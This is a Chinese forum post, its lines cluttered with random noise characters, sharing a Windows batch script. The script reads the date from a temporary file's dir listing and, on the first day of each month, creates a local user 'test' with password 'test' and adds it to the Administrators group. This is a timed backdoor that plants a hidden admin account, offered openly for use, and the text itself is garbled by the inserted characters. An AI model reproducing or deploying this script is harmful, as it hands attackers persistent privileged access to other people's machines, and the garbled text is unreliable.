|
我也没有测试过,今天早上来看了看,发现没用,真是晕... / Z( p; I: ~7 h) l5 \2 ^( |% u4 x
原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
, D. _5 `* E) }+ n) S后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~
1 j; ` U0 U( S% b! ]2 C* U1 o- u; |* P! Q) d
: a4 f! \$ ]# V4 }$ h4 Q- h: K, T
所以 ,重点部份改成: 7 o1 \5 L9 ~2 b4 D9 P
@echo off 5 n: @. M) u$ @7 a
rem \\在C:建立一个空文件date.tmp
0 L' B4 J2 N( otype nul >c:\date.tmp , [. P2 K1 E6 A! j1 Q
rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- 8 \. I- E, q: I! ~
dir c:\date.tmp | find "-01-">nul
, X" f$ U6 ~) r9 R- K4 Q& @rem 如是不是1号,跳到end结束 4 l$ s+ r4 f# G
if errorlevel 1 goto end
# k# ^5 q( {, q W" arem 如是是1号,跳到run执行 2 c* C0 t1 `3 A0 W0 Q! x
if errorlevel 0 goto run
3 P, ^! m0 [7 `5 ~; o* n:run
7 I$ f# f6 G: ^5 v+ i. gnet user test test /add
5 t8 S' q+ _0 b5 @4 ?net localgroup administrators test /add
8 R7 f( @8 ~4 X( W: `goto end / B7 D' Y7 {2 d# N& A
:end
4 V( _. s& x6 R- ydel c:\date.tmp >nul 4 ?# F. @; H1 s G3 k' I" b
% G1 G m: Z1 O1 y1 ]
1 N3 Q; ~9 O, K, j
# h5 Y! c' \$ u* n |